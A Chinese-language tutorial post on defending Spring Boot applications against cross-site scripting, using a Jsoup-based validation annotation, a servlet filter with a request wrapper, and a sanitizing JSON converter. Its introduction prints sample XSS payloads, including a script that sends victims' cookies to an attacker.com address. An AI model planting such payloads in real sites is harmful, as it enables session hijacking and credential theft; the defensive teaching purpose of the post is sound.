赞
踩
随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。
本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。
XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。
XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。
XSS攻击主要分为以下三种类型:
XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。
示例:
攻击者在一个博客评论系统中提交以下评论:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。
攻击者构造一个恶意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。
假设网页中有以下JavaScript代码:
var name = document.location.hash.substr(1);
document.write("欢迎, " + name);
攻击者可以构造如下URL:
http://example.com/page.html#<script>alert('XSS')</script>
当用户访问此URL时,恶意脚本会被执行。
在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。
注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。
<!--JSR-303/JSR-380用于验证的注解 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
<version>3.2.0</version>
</dependency>
我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
String message() default "非法输入, 检测到潜在的XSS";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:
public class XssValidator implements ConstraintValidator<Xss, String> { /** * 使用自带的 basicWithImages 白名单 */ private static final Safelist WHITE_LIST = Safelist.relaxed(); /** * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化 * 从而保持输入和输出内容的一致性。 */ private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false); /** * 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。 * * @param value 输入值,需要进行XSS攻击脚本清理。 * @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。 * @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。 */ @Override public boolean isValid(String value, ConstraintValidatorContext context) { // 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。 // 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。 String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS); // 比较清理后的值与原始值是否相同,用于判断输入值是否有效。 return cleanedValue.equals(value); } }
在要进行XSS防御的属性上添加注解:
@Data @Tag(name = "用户",description = "用户登录类") public class UserLoginDTO { @Xss @NotBlank(message = "账号不能为空") @Schema(name = "用户账号",type = "String") private String userAccount; @Xss @Size(min = 6, max = 18, message = "用户密码长度需在6-18位") @Schema(name = "用户密码",type = "String") private String password; @Xss @NotBlank(message = "邮箱验证码内容不能为空") @Schema(name = "邮箱验证码",type = "String") private String emailCaptcha; }
在Controller
中的接口添加@Validated
注解:
@PostMapping("/test2")
public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) {
return Result.success();
}
<!-- Jsoup依赖 -->
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.17.2</version>
</dependency>
/** * 跨站脚本(XSS)过滤配置类。 */ @Data @Component @ConfigurationProperties(prefix = "xss") public class FilterConfig { /** * 是否启用XSS过滤。 */ private String enabled; /** * 需要排除的URL模式,这些URL不会进行XSS过滤。 */ private String excludes; /** * 需要应用XSS过滤的URL模式。 */ private String urlPatterns; /** * 注册XSS过滤器。 * * @return FilterRegistrationBean 用于注册过滤器的bean。 */ @Bean public FilterRegistrationBean xssFilterRegistration() { FilterRegistrationBean registrationBean = new FilterRegistrationBean(); // 设置过滤器的分发类型为请求类型 registrationBean.setDispatcherTypes(DispatcherType.REQUEST); // 创建XssFilter的实例 registrationBean.setFilter(new XssFilter()); // 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取 registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ",")); // 设置过滤器的名称 registrationBean.setName("XssFilter"); // 设置过滤器的执行顺序,数值越小,优先级越高 registrationBean.setOrder(9999); // 创建一个Map,用于存储过滤器的初始化参数 Map<String, String> initParameters = new HashMap<>(); // 将配置文件中的"excludes"属性设置到过滤器的初始化参数中 initParameters.put("excludes", excludes); // 将配置文件中的"enabled"属性设置到过滤器的初始化参数中 initParameters.put("enabled", enabled); // 将初始化参数设置到FilterRegistrationBean中 registrationBean.setInitParameters(initParameters); // 返回FilterRegistrationBean,包含了XssFilter的配置信息 return registrationBean; } }
xss:
enabled: true
excludes:
url-patterns: /*
import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; @Slf4j public class XssFilter implements Filter { /** * 存储需要排除XSS过滤的URL模式列表。 */ private List<String> excludes = new ArrayList<>(); /** * 是否启用XSS过滤的标志。 */ private boolean enabled = false; /** * 初始化过滤器,从过滤器配置中读取排除列表和启用状态。 * * @param filterConfig 过滤器配置对象。 * @throws ServletException 如果初始化过程中出现错误。 */ @Override public void init(FilterConfig filterConfig) throws ServletException { String strExcludes = filterConfig.getInitParameter("excludes"); String strEnabled = filterConfig.getInitParameter("enabled"); //将不需要xss过滤的接口添加到列表中 if (StringUtils.isNotEmpty(strExcludes)) { String[] urls = strExcludes.split(","); for (String url : urls) { excludes.add(url); } } if (StringUtils.isNotEmpty(strEnabled)) { enabled = Boolean.valueOf(strEnabled); } } /** * 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。 * * @param request HTTP请求对象。 * @param response HTTP响应对象。 * @param chain 过滤器链对象,用于继续或中断请求处理。 * @throws IOException 如果处理过程中出现I/O错误。 * @throws ServletException 如果处理过程中出现Servlet相关错误。 */ @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; //如果该访问接口在排除列表里面则不拦截 if (isExcludeUrl(req.getServletPath())) { chain.doFilter(request, response); return; } log.info("uri:{}", req.getRequestURI()); // xss 过滤 chain.doFilter(new XssWrapper(req), resp); } /** * 销毁过滤器,释放资源。 */ @Override public void destroy() { // 无需额外的销毁逻辑 } /** * 判断当前请求的URL是否应该被排除在XSS过滤之外。 * * @param urlPath 请求的URL路径。 * @return 如果请求应该被排除,则返回true;否则返回false。 */ private boolean isExcludeUrl(String urlPath) { if (!enabled) { //如果xss开关关闭了,则所有url都不拦截 return true; } if (excludes == null || excludes.isEmpty()) { return false; } String url = urlPath; for (String pattern : excludes) { Pattern p = Pattern.compile("^" + pattern); Matcher m = p.matcher(url); if (m.find()) { return true; } } return false; } }
/** * XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护 */ public class XssUtil { /** * 使用自带的 basicWithImages 白名单 */ private static final Safelist WHITE_LIST = Safelist.relaxed(); /** * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化 * 从而保持输入和输出内容的一致性。 */ private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false); /* 初始化白名单策略,允许所有标签拥有style属性。 这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。 */ static { // 富文本编辑时一些样式是使用 style 来进行实现的 // 比如红色字体 style="color:red;" // 所以需要给所有标签添加 style 属性 WHITE_LIST.addAttributes(":all", "style"); } /** * 清理输入的字符串,移除潜在的XSS攻击代码。 * * @param content 待清理的字符串,通常是用户输入的HTML内容。 * @return 清理后的字符串,保证不包含XSS攻击代码。 */ public static String clean(String content) { // 使用定义好的白名单策略和输出设置清理输入的字符串 return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS); } }
在XSSFilter类中,我们创建了一个新的XSSRequestWrapper
类,该类继承自HttpServletRequestWrapper
。在这个包装类中,我们将重写getParameter
等方法,以清理请求参数中的潜在XSS脚本。
@Slf4j public class XssWrapper extends HttpServletRequestWrapper { /** * Constructs a request object wrapping the given request. * * @param request The request to wrap * @throws IllegalArgumentException if the request is null */ public XssWrapper(HttpServletRequest request) { super(request); log.info("XssWrapper"); } /** * 对数组参数进行特殊字符过滤 */ @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = cleanXSS(values[i]); } return encodedValues; } /** * 对参数中特殊字符进行过滤 */ @Override public String getParameter(String name) { String value = super.getParameter(name); if (StrUtil.isBlank(value)) { return value; } return cleanXSS(value); } /** * 获取attribute,特殊字符过滤 */ @Override public Object getAttribute(String name) { Object value = super.getAttribute(name); if (value instanceof String && StrUtil.isNotBlank((String) value)) { return cleanXSS((String) value); } return value; } /** * 对请求头部进行特殊字符过滤 */ @Override public String getHeader(String name) { String value = super.getHeader(name); if (StrUtil.isBlank(value)) { return value; } return cleanXSS(value); } /** * 清理输入的字符串以防止XSS攻击 * * @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。 * @return 清理后的字符串,移除了可能的XSS攻击代码。 */ private String cleanXSS(String value) { return XssUtil.clean(value); } }
在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。
/** * 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器 * */ public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter { /** * 从HTTP输入消息中读取对象,同时应用XSS防护。 * * @param type 类型令牌,表示要读取的对象类型。 * @param contextClass 上下文类,提供类型解析的上下文信息。 * @param inputMessage HTTP输入消息,包含要读取的JSON数据。 * @return 从输入消息中解析出的对象,经过XSS防护处理。 * @throws IOException 如果发生I/O错误。 * @throws HttpMessageNotReadableException 如果消息无法读取。 */ @Override public Object read(Type type, Class contextClass, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException { JavaType javaType = getJavaType(type, contextClass); Object obj = readJavaType(javaType, inputMessage); //得到请求json String json = super.getObjectMapper().writeValueAsString(obj); //过滤特殊字符 String result = XssUtil.clean(json); Object resultObj = super.getObjectMapper().readValue(result, javaType); return resultObj; } /** * 从HTTP输入消息中读取指定Java类型的对象,内部使用。 * * @param javaType 要读取的对象的Java类型。 * @param inputMessage HTTP输入消息,包含要读取的JSON数据。 * @return 从输入消息中解析出的对象。 * @throws IOException 如果发生I/O错误。 * @throws HttpMessageNotReadableException 如果消息无法读取。 */ private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) { try { return super.getObjectMapper().readValue(inputMessage.getBody(), javaType); } catch (IOException ex) { throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex); } } /** * 将对象写入HTTP输出消息,同时应用XSS防护。 * * @param object 要写入的对象。 * @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。 * @throws IOException 如果发生I/O错误。 * @throws HttpMessageNotWritableException 如果消息无法写入。 */ @Override protected void writeInternal(Object object, HttpOutputMessage outputMessage) throws IOException, HttpMessageNotWritableException { //得到要输出的json String json = super.getObjectMapper().writeValueAsString(object); //过滤特殊字符 String result = XssUtil.clean(json); // 输出 outputMessage.getBody().write(result.getBytes()); } }
然后在启动类添加:
@Bean
public HttpMessageConverters xssHttpMessageConverters() {
XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
return new HttpMessageConverters(converter);
}
如果不符合规则的字符(例如
<script>alert('XSS');</script>
)会提示非法输入,检测到潜在的XSS
,可以看到下面的返回参数中的message已经变为默认警告。
XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。
观察下面的测试结果可以知道过滤器成功实现参数清理。
本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。